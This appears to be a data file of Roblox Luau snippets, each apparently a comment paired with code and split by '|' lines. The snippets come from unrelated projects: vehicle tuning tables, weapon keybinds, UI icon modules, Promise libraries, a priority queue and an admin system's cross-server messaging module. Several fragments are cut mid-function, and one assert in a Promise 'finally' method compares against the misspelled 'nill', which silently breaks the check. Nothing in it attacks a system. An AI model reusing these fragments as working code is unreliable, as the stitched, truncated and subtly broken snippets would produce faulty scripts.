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--[[
local SmoothDamp = require(this)
smooth = SmoothDamp.new()
smooth.MaxSpeed
smooth:Update(currentVector, targetVector, smoothTime)
smooth:UpdateAngle(currentVector, targetVector, smoothTime)
Use UpdateAngle if smoothing out angles. The only difference is that
it makes sure angles wrap properly (in radians). For instance, if
damping a rotating wheel, UpdateAngle should be used.
-- Example:
local smooth = SmoothDamp.new()
function Update()
local current = camera.CFrame.p
local target = (part.CFrame * CFrame.new(0, 5, -10)).p
local camPos = smooth:Update(current, target, 0.2)
camera.CFrame = CFrame.new(camPos, part.Position)
end
--]]
| |
-- Check if the player can run commands
|
function CheckHostID(player)
-- Is the game running in studio
if Run:IsStudio() then return true end
if game.CreatorType == Enum.CreatorType.User then
-- Is the player the game's owner
if player.UserId == game.CreatorId then return true end
elseif game.CreatorType == Enum.CreatorType.Group then
-- Does the player have a high enough group rank
if player:GetRankInGroup(game.CreatorId) >= gameRules.HostRank then return true end
end
-- Is the player in the game host list
for _, cID in pairs(gameRules.HostList) do
if player.UserId == cID then return true end
end
return false
end
|
--// KeyBindings
|
FireSelectKey = Enum.KeyCode.T;
CycleSightKey = Enum.KeyCode.T;
LaserKey = Enum.KeyCode.G;
LightKey = Enum.KeyCode.B;
InteractKey = Enum.KeyCode.E;
AlternateAimKey = Enum.KeyCode.Z;
InspectionKey = Enum.KeyCode.H;
AttachmentKey = Enum.KeyCode.LeftControl;
|
--Main Settings:
|
CAM_GEARS = true
ENGINE_SHAKE = true
MANIFOLD_HEAT = true
THROTTLE_BODY = true
TIMING_BELT = true
TURBO_CHARGED = true
|
--Motors
|
rS = part:findFirstChild("Right Shoulder")
lS = part:findFirstChild("Left Shoulder")
rH = part:findFirstChild("Right Hip")
lH = part:findFirstChild("Left Hip")
|
--[=[
The current property of the Attribute. Can be assigned to to write
the attribute.
@prop Value T
@within AttributeValue
]=]
| |
-- Variables (best not to touch these!)
|
local button = script.Parent
local car = script.Parent.Parent.Car.Value
local sound = script.Parent.Start
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
if script.Parent.Text == "Engine: Off" then -- If the text says it's off then..
sound:Play() -- Startup sound plays..
wait(0.7) -- For realism. Okay?
script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
button.Text = "Engine: On" -- You don't really need this, but I would keep it.
else -- If it's on then when you click the button,
script.Parent.Parent.IsOn.Value = false -- The car is turned off.
button.Text = "Engine: Off"
end -- Don't touch this.
end) -- And don't touch this either.
|
-- aButton:TweenPosition(Aposition, "InOut", "Sine", 0.1)
|
end)
dButton.MouseEnter:Connect(function()
dButton:TweenSize(size, "InOut", "Sine", 0.1)
|
--Made by Luckymaxer
|
Players = game:GetService("Players")
Debris = game:GetService("Debris")
ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"}
Functions = {
CheckTableForString = (function(Table, String)
for i, v in pairs(Table) do
if string.lower(v) == string.lower(String) then
return true
end
end
return false
end),
CheckIntangible = (function(Hit)
if Hit and Hit.Parent then
if (Hit.Transparency >= 1 and not Hit.CanCollide) or Functions.CheckTableForString(ProjectileNames, Hit.Name) then
return true
end
local ObjectParent = Hit.Parent
local Character = ObjectParent.Parent
local Humanoid = Character:FindFirstChild("Humanoid")
if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Accoutrement") then
return true
end
end
return false
end),
CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit)
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and Functions.CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end),
IsTeamMate = (function(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end),
TagHumanoid = (function(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end),
UntagHumanoid = (function(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end),
}
return Functions
|
-- LOCAL
|
local LocalizationService = game:GetService("LocalizationService")
local tweenService = game:GetService("TweenService")
local debris = game:GetService("Debris")
local userInputService = game:GetService("UserInputService")
local httpService = game:GetService("HttpService") -- This is to generate GUIDs
local runService = game:GetService("RunService")
local textService = game:GetService("TextService")
local starterGui = game:GetService("StarterGui")
local guiService = game:GetService("GuiService")
local localizationService = game:GetService("LocalizationService")
local playersService = game:GetService("Players")
local localPlayer = playersService.LocalPlayer
local iconModule = script
local TopbarPlusReference = require(iconModule.TopbarPlusReference)
local referenceObject = TopbarPlusReference.getObject()
local leadPackage = referenceObject and referenceObject.Value
if leadPackage and leadPackage ~= iconModule then
return require(leadPackage)
end
if not referenceObject then
TopbarPlusReference.addToReplicatedStorage()
end
local Icon = {}
Icon.__index = Icon
local IconController = require(iconModule.IconController)
local Signal = require(iconModule.Signal)
local Maid = require(iconModule.Maid)
local TopbarPlusGui = require(iconModule.TopbarPlusGui)
local Themes = require(iconModule.Themes)
local activeItems = TopbarPlusGui.ActiveItems
local topbarContainer = TopbarPlusGui.TopbarContainer
local iconTemplate = topbarContainer["IconContainer"]
local DEFAULT_THEME = Themes.Default
local THUMB_OFFSET = 55
local DEFAULT_FORCED_GROUP_VALUES = {}
|
--!strict
|
local Types = require(script.Parent.Parent.Parent.Types)
return function(players: Types.Array<Player>): Types.PlayerContainer
return { kind = "set", value = players }
end
|
-------------------------------------------------------------------------------------------------------------------------
|
upgradeStuff = model:clone()
wait(1)
model:remove()
owner = script.Parent.Parent.Parent.OwnerName
local ting = 0
function onTouched(hit)
if ting == 0 then
ting = 1
check = hit.Parent:FindFirstChild("Humanoid")
if check ~= nil then
if hit.Parent.Name == owner.Value then
local user = game.Players:GetPlayerFromCharacter(hit.Parent)
local stats = user:findFirstChild("leaderstats")
if stats ~= nil then
local cash = stats:findFirstChild("Cash")
if cash.Value > (Upgradecost-1) then
cash.Value = cash.Value - Upgradecost
upgradeStuff.Parent = script.Parent.Parent.Parent
script.Parent.Parent:remove()
end
end
end
end
ting = 0
end
end
script.Parent.Touched:connect(onTouched)
|
--[[
// Instructions //
1. Put the ServerScriptService in ServerScriptService and ungroup it.
2. Put StarterGui in StarterGui and ungroup it.
3. Enjoy the model!
--]]
|
script.Parent:Destroy() -- This code is just to remove the model but if you want
-- you can just delete the model :)
|
-- Gradually regenerates the Humanoid's Health over time.
|
local REGEN_RATE = 10/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.05 -- Wait this long between each regeneration step.
|
--gun welds
|
local boltw = mainpart:WaitForChild("boltweld")
local magw = mainpart:WaitForChild("magweld")
local trigw = mainpart:WaitForChild("triggerweld")
local rightgrip
|
--// Event Connections
|
L_114_.OnClientEvent:connect(function(L_327_arg1, L_328_arg2)
if L_327_arg1 ~= L_2_ then
local L_329_ = L_327_arg1.Character
local L_330_ = L_329_.AnimBase.AnimBaseW
local L_331_ = L_330_.C1
if L_328_arg2 then
L_129_(L_330_, nil , L_329_.Head.CFrame, function(L_332_arg1)
return math.sin(math.rad(L_332_arg1))
end, 0.25)
elseif not L_328_arg2 then
L_129_(L_330_, nil , L_331_, function(L_333_arg1)
return math.sin(math.rad(L_333_arg1))
end, 0.25)
end
end
end)
L_117_.OnClientEvent:connect(function(L_334_arg1, L_335_arg2)
if L_42_ and L_335_arg2 ~= L_2_ and L_24_.CanCallout then
if (L_3_.HumanoidRootPart.Position - L_334_arg1).magnitude <= 10 then
L_41_.Visible = true
local L_336_ = ScreamCalculation()
if L_336_ then
if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then
L_118_:FireServer(L_7_.AHH, L_98_[math.random(0, 21)])
end
end
L_14_:Create(L_41_, TweenInfo.new(0.1), {
BackgroundTransparency = 0.4
}):Play()
delay(0.1, function()
L_14_:Create(L_41_, TweenInfo.new(3), {
BackgroundTransparency = 1
}):Play()
end)
end
end
end)
|
--// Load server
|
return require(script.Server.Server)
|
--Player removing
|
main.players.PlayerRemoving:Connect(function(player)
--
main.permissionToReplyToPrivateMessage[player] = nil
main.commandBlocks[player] = nil
--
local pdata = main.pd[player]
if pdata then
for itemName, item in pairs(pdata.Items) do
item:Destroy()
end
local underControl = pdata.Items["UnderControl"]
if underControl then
local controller = underControl.Value
if controller then
main:GetModule("cf"):RemoveControlPlr(controller)
end
end
end
for i, plr in pairs(main.players:GetChildren()) do
local plrData = main.pd[plr]
if plrData then
local tag = plrData.Items["UnderControl"]
if tag and tag.Value == player then
main:GetModule("cf"):RemoveUnderControl(plr)
end
end
end
--
main:GetModule("PlayerData"):RemovePlayerData(player)
--
end)
|
-- Remote Events
|
--Client -> Server
local RE_replicateProjectile = remoteEvents.Client.ReplicateProjectile
local RE_tempSaveProfile = remoteEvents.Client.ForceSaveTemp
--Server -> Client
|
--[[*
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
|
type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]]
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local Promise = require(Packages.Promise)
local exports = {}
local function isPromise(
candidate: unknown
): boolean --[[ ROBLOX FIXME: change to TSTypePredicate equivalent if supported ]] --[[ candidate is Promise<unknown> ]]
-- ROBLOX deviation: using Promise library implementation to check if a variable is a Promise
return Promise.is(candidate)
end
exports.default = isPromise
return exports
|
-------------------------------------------------------------------------
|
local function CheckAlive()
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
if ExistingPather then
ExistingPather:Cancel()
ExistingPather = nil
end
if PathCompleteListener then
PathCompleteListener:Disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:Disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
ExistingIndicator:Destroy()
end
end
local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath)
ExistingPather = thisPather
thisPather:Start(overrideShowPath)
PathCompleteListener = thisPather.Finished.Event:Connect(function()
CleanupPath()
if hitChar then
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
end
end
end)
PathFailedListener = thisPather.PathFailed.Event:Connect(function()
CleanupPath()
if overrideShowPath == nil or overrideShowPath then
local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive())
if shouldPlayFailureAnim then
ClickToMoveDisplay.PlayFailureAnimation()
end
ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end
end)
end
local function ShowPathFailedFeedback(hitPt)
if ExistingPather and ExistingPather:IsActive() then
ExistingPather:Cancel()
end
if PlayFailureAnimation then
ClickToMoveDisplay.PlayFailureAnimation()
end
ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end
function OnTap(tapPositions, goToPoint, wasTouchTap)
-- Good to remember if this is the latest tap event
local camera = Workspace.CurrentCamera
local character = Player.Character
if not CheckAlive() then return end
-- This is a path tap position
if #tapPositions == 1 or goToPoint then
if camera then
local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)
local myHumanoid = findPlayerHumanoid(Player)
local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList())
local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then
local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if clickedPlayer then
CleanupPath()
return
end
end
if goToPoint then
hitPt = goToPoint
hitChar = nil
end
if hitPt and character then
-- Clean up current path
CleanupPath()
local thisPather = Pather(hitPt, hitNormal)
if thisPather:IsValidPath() then
HandleMoveTo(thisPather, hitPt, hitChar, character)
else
-- Clean up
thisPather:Cleanup()
-- Feedback here for when we don't have a good path
ShowPathFailedFeedback(hitPt)
end
end
end
elseif #tapPositions >= 2 then
if camera then
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
end
end
end
end
local function DisconnectEvent(event)
if event then
event:Disconnect()
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 10000 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6500 -- Use sliders to manipulate values
Tune.Redline = 7000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6000
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -.16
Tune.RCamber = -.17
Tune.FToe = -.2
Tune.RToe = -.2
|
--// Tracer Vars
|
TracerTransparency = 1;
TracerLightEmission = 1;
TracerTextureLength = 0.1;
TracerLifetime = 0.05;
TracerFaceCamera = true;
TracerColor = BrickColor.new('White');
|
--[[ The Module ]]
|
--
local BaseOcclusion = {}
BaseOcclusion.__index = BaseOcclusion
setmetatable(BaseOcclusion, {
__call = function(_, ...)
return BaseOcclusion.new(...)
end
})
function BaseOcclusion.new()
local self = setmetatable({}, BaseOcclusion)
return self
end
|
-- Turns out debug.traceback() is slow
|
local ENABLE_TRACEBACK = false
local _emptyRejectedPromise = nil
local _emptyFulfilledPromise = nil
local Promise = {}
Promise.ClassName = "Promise"
Promise.__index = Promise
|
--[[
Client
Description: This script does the exact same thing as the Server script in ServerScriptService.
This script parses the folders into a database so it can be referenced easily from the database library.
]]
| |
--// This module is for stuff specific to cross server communication
--// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER!
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps
local ServerId = game.JobId;
local MsgService = service.MessagingService;
local subKey = Core.DataStoreEncode("Adonis_CrossServerMessaging");
local counter = 0;
local lastTick;
local oldCommands = Core.CrossServerCommands;
--// Cross Server Commands
Core.CrossServerCommands = {
ServerChat = function(jobId, data)
if data then
for _, v in ipairs(service.GetPlayers()) do
if Admin.GetLevel(v) > 0 then
Remote.Send(v, "handler", "ChatHandler", data.Player, data.Message, "Cross")
end
end
end
end;
Ping = function(jobId, data)
Core.CrossServer("Pong", {
JobId = game.JobId;
NumPlayers = #service.Players:GetPlayers();
})
end;
Pong = function(jobId, data)
service.Events.ServerPingReplyReceived:Fire(jobId, data)
end;
NewRunCommand = function(jobId, plrData, comString)
Process.Command(Functions.GetFakePlayer(plrData), comString, {AdminLevel = plrData.AdminLevel, CrossServer = true})
end;
-- // Unused, unnecessary, at the very least it should use GetEnv, and yes even if GetEnv has an empty table you can still do GetEnv({}).GetEnv().server
-- If this ever were to be re-enabled it should use Core.Loadstring at all
--[[Loadstring = function(jobId, source) -- // Im honestly not even sure what to think of this one.
Core.Loadstring(source, GetEnv{})()
end;]]
Message = function(jobId, fromPlayer, message, duration)
server.Functions.Message(
"Global Message from " .. (fromPlayer or "[Unknown]"),
message,
service.GetPlayers(),
true,
duration
)
end;
RemovePlayer = function(jobId, name, BanMessage, reason)
--// probably should move this to userid
local player = service.Players:FindFirstChild(name)
if player then
player:Kick(string.format("%s | Reason: %s", BanMessage, reason))
end
end;
DataStoreUpdate = function(jobId, key, data)
if key and data then
Routine(Core.LoadData, key, data)
end
end;
UpdateSetting = function(jobId, setting, newValue)
if type(setting) == "string" then
Settings[setting] = if newValue == nil then require(Deps.DefaultSettings).Settings[setting] else newValue
end
end;
LoadData = function(jobId, key, dat)
Core.LoadData(key, dat, jobId)
end;
Event = function(jobId, eventId, ...)
service.Events["CRSSRV:".. eventId]:Fire(...)
end;
CrossServerVote = function(jobId, data)
local question = data.Question
local answers = data.Answers
local voteKey = data.VoteKey
local start = os.time()
Logs.AddLog("Commands", {
Text = "[CRS_SERVER] Vote initiated by "..data.Initiator,
Desc = question
})
for _, v in pairs(service.GetPlayers()) do
Routine(function()
local response = Remote.GetGui(v, "Vote", {Question = question, Answers = answers})
if response and os.time() - start <= 120 then
MsgService:PublishAsync(voteKey, {PlrInfo = {Name = v.Name, UserId = v.UserId}, Response = response})
end
end)
end
end;
}
local function CrossEvent(eventId)
return service.Events["CRSSRV".. eventId]
end
--// User Commands
Commands.CrossServer = {
Prefix = Settings.Prefix;
Commands = {"crossserver", "cross"};
Args = {"command"};
Description = "Runs the specified command string on all servers";
AdminLevel = "HeadAdmins";
CrossServerDenied = true; --// Makes it so this command cannot be ran via itself causing an infinite spammy loop of cross server commands...
IsCrossServer = true; --// Used in settings.CrossServerCommands in case a game creator wants to disable the cross-server commands
Function = function(plr: Player, args: {string})
if not Core.CrossServer("NewRunCommand", {
UserId = plr.UserId;
Name = plr.Name;
DisplayName = plr.DisplayName;
AccountAge = plr.AccountAge;
--MembershipType = plr.MembershipType; -- MessagingService doesn't accept Enums
FollowUserId = plr.FollowUserId;
AdminLevel = Admin.GetLevel(plr);
}, args[1])
then
error("CrossServer handler not ready (try again later)")
end
end;
};
Commands.CrossServerList = {
Prefix = Settings.Prefix;
Commands = {"serverlist", "gameservers", "crossserverlist", "listservers"};
Args = {};
Description = "Attempts to list all active servers (at the time the command was ran)";
AdminLevel = "Admins";
CrossServerDenied = true;
IsCrossServer = true;
Function = function(plr: Player, args: {string})
local disced = false
local updateKey = "SERVERPING_".. math.random()
local replyList = {}
local listener = service.Events.ServerPingReplyReceived:Connect(function(jobId, data)
if jobId then
replyList[jobId] = data or {}
end
end)
local function listUpdate()
local tab = {}
local totalPlayers = 0
local totalServers = 0
for jobId,data in pairs(replyList) do
totalServers += 1
totalPlayers = totalPlayers + (data.NumPlayers or 0)
table.insert(tab, {
Text = "Players: ".. (data.NumPlayers or 0) .. " | JobId: ".. jobId;
Desc = "JobId: ".. jobId;
})
end
table.insert(tab, 1, {
Text = "Total Servers: ".. totalServers .." | Total Players: ".. totalPlayers;
Desc = "The total number of servers and players";
})
return tab;
end
local function doDisconnect()
if not disced then
disced = true
Logs.TempUpdaters[updateKey] = nil
listener:Disconnect()
end
end
if not Core.CrossServer("Ping") then
doDisconnect()
error("CrossServer handler not ready (please try again later)")
else
local closeEvent = Remote.NewPlayerEvent(plr,updateKey, function()
doDisconnect()
end)
Logs.TempUpdaters[updateKey] = listUpdate;
Remote.MakeGui(plr, "List", {
Title = "Server List",
Tab = listUpdate(),
Update = "TempUpdate",
UpdateArgs = {{UpdateKey = updateKey}},
OnClose = "client.Remote.PlayerEvent('".. updateKey .."')",
AutoUpdate = 1,
})
delay(500, doDisconnect)
end
end;
};
Commands.CrossServerVote = {
Prefix = Settings.Prefix;
Commands = {"crossservervote", "crsvote", "globalvote", "gvote"};
Args = {"answer1,answer2,etc (NO SPACES)", "question"};
Filter = true;
Description = "Lets you ask players in all servers a question with a list of answers and get the results";
AdminLevel = "Moderators";
CrossServerDenied = true;
IsCrossServer = true;
Function = function(plr: Player, args: {string})
local question = args[2]
if not question then error("You forgot to supply a question! (argument #2)") end
local answers = args[1]
local anstab = {}
local responses = {}
local voteKey = "ADONISVOTE".. math.random()
local startTime = os.time()
local msgSub = MsgService:SubscribeAsync(voteKey, function(data)
table.insert(responses, data.Data.Response)
end)
local function voteUpdate()
local results = {}
local total = #responses
local tab = {
"Question: "..question;
"Total Responses: "..total;
"Time Left: ".. math.max(0, 120 - (os.time()-startTime));
--"Didn't Vote: "..#players-total;
}
for _, v in pairs(responses) do
if not results[v] then results[v] = 0 end
results[v] += 1
end
for _, v in pairs(anstab) do
local ans = v
local num = results[v]
local percent
if not num then
num = 0
percent = 0
else
percent = math.floor((num/total)*100)
end
table.insert(tab, {
Text = ans.." | "..percent.."% - "..num.."/"..total,
Desc = "Number: "..num.."/"..total.." | Percent: "..percent
})
end
return tab
end
Logs.TempUpdaters[voteKey] = voteUpdate;
if not answers then
anstab = {"Yes","No"}
else
for ans in answers:gmatch("([^,]+)") do
table.insert(anstab, ans)
end
end
local data = {
Answers = anstab;
Question = question;
VoteKey = voteKey;
Initiator = service.FormatPlayer(plr);
}
Core.CrossServer("CrossServerVote", data)
Remote.MakeGui(plr, "List", {
Title = "Results",
Icon = server.MatIcons["Text snippet"];
Tab = voteUpdate(),
Update = "TempUpdate",
UpdateArgs = {{UpdateKey = voteKey}},
AutoUpdate = 1,
})
delay(120, function()
Logs.TempUpdaters[voteKey] = nil
msgSub:Disconnect()
end)
end
};
--// Handlers
Core.CrossServer = function(...)
local data = {ServerId, ...};
service.Queue("CrossServerMessageQueue", function()
--// rate limiting
counter += 1
if not lastTick then lastTick = os.time() end
if counter >= 150 + 60 * #service.Players:GetPlayers() then
repeat wait() until os.time()-lastTick > 60
end
if os.time()-lastTick > 60 then
lastTick = os.time()
counter = 1
end
--// publish
MsgService:PublishAsync(subKey, data)
end, 300, true)
return true
end
Process.CrossServerMessage = function(msg)
local data = msg.Data
assert(data and type(data) == "table", "CrossServer: Invalid data type ".. type(data))
local serverId, command = data[1], data[2]
Logs:AddLog("Script", {
Text = "Cross-server message received: "..(command or "[NO COMMAND]");
Desc = "Origin JobId: "..(serverId or "[MISSING]")
})
if not (serverId and command) then return end
table.remove(data, 2)
if Core.CrossServerCommands[command] then
Core.CrossServerCommands[command](unpack(data))
end
end
Core.SubEvent = MsgService:SubscribeAsync(subKey, function(...)
return Process.CrossServerMessage(...)
end)
--// Check for additions added by other modules in core before this one loaded
for i, v in pairs(oldCommands) do
Core.CrossServerCommands[i] = v
end
Logs:AddLog("Script", "Cross-Server Module Loaded");
end
|
-- Reference the frames you want to control
|
local UISpeed = gui.UISpeed
local Volume = gui.Volume
local Wallpapers = gui.Wallpapers
local Notifications = gui.Notifications
local ClipWellbeing = gui.ClipWellbeing
|
--// Holiday roooaaAaaoooAaaooOod
|
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, spawn, delay, task, assert =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, table.unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, task.wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, task.defer, task.delay, task, function(cond, errMsg) return cond or error(errMsg or "assertion failed!", 2) end;
local ServicesWeUse = {
"Workspace";
"Players";
"Lighting";
"ServerStorage";
"ReplicatedStorage";
"JointsService";
"ReplicatedFirst";
"ScriptContext";
"ServerScriptService";
"LogService";
"Teams";
"SoundService";
"StarterGui";
"StarterPack";
"StarterPlayer";
"GroupService";
"MarketplaceService";
"MarketplaceService";
"TestService";
"HttpService";
"RunService";
"InsertService";
"NetworkServer";
}
local unique = {}
local origEnv = getfenv(); setfenv(1,setmetatable({}, {__metatable = unique}))
local locals = {}
local server = {}
local service = {}
local RbxEvents = {}
local ErrorLogs = {}
local HookedEvents = {}
local ServiceSpecific = {}
local oldReq = require
local Folder = script.Parent
local oldInstNew = Instance.new
local isModule = function(module)
for ind, modu in pairs(server.Modules) do
if module == modu then
return true
end
end
end
local logError = function(plr, err)
if type(plr) == "string" and not err then
err = plr;
plr = nil;
end
if server.Core and server.Core.DebugMode then
warn("::Adonis:: Error: "..tostring(plr)..": "..tostring(err))
end
if server and server.Logs then
server.Logs.AddLog(server.Logs.Errors, {
Text = ((err and plr and tostring(plr) ..":") or "").. tostring(err),
Desc = err,
Player = plr
})
end
end
|
-- Sink down on the tree and fix the order heap property.
|
function PriorityQueue:sink()
local size = self.current_size
local heap = self.heap
local i = 1
while (i * 2) <= size do
local mc = self:min_child(i)
if heap[i][2] > heap[mc][2] then
heap[i], heap[mc] = heap[mc], heap[i]
end
i = mc
end
end
function PriorityQueue:min_child(i)
local base = i * 2
local above = base + 1
if
above > self.current_size
or self.heap[base][2] < self.heap[above][2]
then
return base
end
return above
end
local tbl = {}
tbl.__index = tbl
|
--!strict
|
local copy = require(script.Parent.copy)
|
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================
|
function PilotSeat.new(speeder)
local newPilotSeat = {}
setmetatable(newPilotSeat, PilotSeat)
-- Set speeder and main (PrimaryPart)
newPilotSeat.speeder = speeder
newPilotSeat.main = speeder.PrimaryPart
-- Mass equalizer
SetMassless(newPilotSeat.speeder, newPilotSeat)
SetMass(newPilotSeat.main)
newPilotSeat.mass = GetMass(newPilotSeat.speeder)
SetupCollisionDetection(newPilotSeat.speeder, newPilotSeat)
-- Settings
local _settings = newPilotSeat.main:FindFirstChild("Settings")
assert(_settings, "A Settings script wasn't found. Make sure your finished Model includes a Body part with an attached Setting Script")
newPilotSeat._settings = require(_settings)
newPilotSeat.engine = Engine.new(newPilotSeat)
return newPilotSeat
end -- PilotSeat.new()
function PilotSeat:Destroy()
self.speeder:Destroy()
self.main = false
self.id = false
self.engine = false
end -- PilotSeat:Destroy()
|
--[[
Used to set a handler for when the promise resolves, rejects, or is
cancelled. Returns a new promise chained from this promise.
]]
|
function Promise.prototype:_finally(traceback, finallyHandler, onlyOk)
if not onlyOk then
self._unhandledRejection = false
end
-- Return a promise chained off of this promise
return Promise._new(traceback, function(resolve, reject)
local finallyCallback = resolve
if finallyHandler then
finallyCallback = createAdvancer(
traceback,
finallyHandler,
resolve,
reject
)
end
if onlyOk then
local callback = finallyCallback
finallyCallback = function(...)
if self._status == Promise.Status.Rejected then
return resolve(self)
end
return callback(...)
end
end
if self._status == Promise.Status.Started then
-- The promise is not settled, so queue this.
table.insert(self._queuedFinally, finallyCallback)
else
-- The promise already settled or was cancelled, run the callback now.
finallyCallback(self._status)
end
end, self)
end
function Promise.prototype:finally(finallyHandler)
assert(
finallyHandler == nil or type(finallyHandler) == "function" or finallyHandler.__call ~= nill,
string.format(ERROR_NON_FUNCTION, "Promise:finally")
)
return self:_finally(debug.traceback(nil, 2), finallyHandler)
end
|
-- Find the new indicies of the trailing, anchor and leading elements.
-- props is expected to contain itemList, the identifier function and the maximum search distance.
-- state is expected to contain the old top, anchor and bottom indices and ids.
|
return function(props, state)
local topIndex = state.trail.index
local topID = state.trail.id
local anchorIndex = state.anchor.index
local anchorID = state.anchor.id
local bottomIndex = state.lead.index
local bottomID = state.lead.id
local listSize = #props.itemList
-- If too much got deleted and the previous anchor index is off the bottom of the list, start the search from
-- the bottom.
if topIndex > listSize then
topIndex = listSize
end
if anchorIndex > listSize then
anchorIndex = listSize
end
if bottomIndex > listSize then
bottomIndex = listSize
end
-- No access to self:getID
local getID = function(index)
return props.identifier(props.itemList[index])
end
local topStill = getID(topIndex) == topID
local anchorStill = getID(anchorIndex) == anchorID
local bottomStill = getID(bottomIndex) == bottomID
if topStill and anchorStill and bottomStill then
-- Nothing important moved
return topIndex, anchorIndex, bottomIndex
end
local step = 0
local foundTop = topStill and topIndex or nil
local foundAnchor = nil
local foundBottom = bottomStill and bottomIndex or nil
-- Scan outward from the old anchor index until we find the top and bottom or hit the max distance
local deltas = {top=-1, bottom=1}
repeat
for _, delta in pairs(deltas) do
local pos = anchorIndex + delta * step
if pos >= 1 and pos <= listSize then
local id = getID(pos)
if id == topID then
foundTop = pos
end
if id == anchorID then
foundAnchor = pos
end
if id == bottomID then
foundBottom = pos
end
end
end
step = step + 1
until (foundTop and foundAnchor and foundBottom) or step > props.maximumSearchDistance
return foundTop, foundAnchor, foundBottom
end
|
-- params : ...
|
local sp = script.Parent
update = function()
sp.Scope.Position = UDim2.new(0.5, -10 - sp.AbsoluteSize.y / 2, 0, -26)
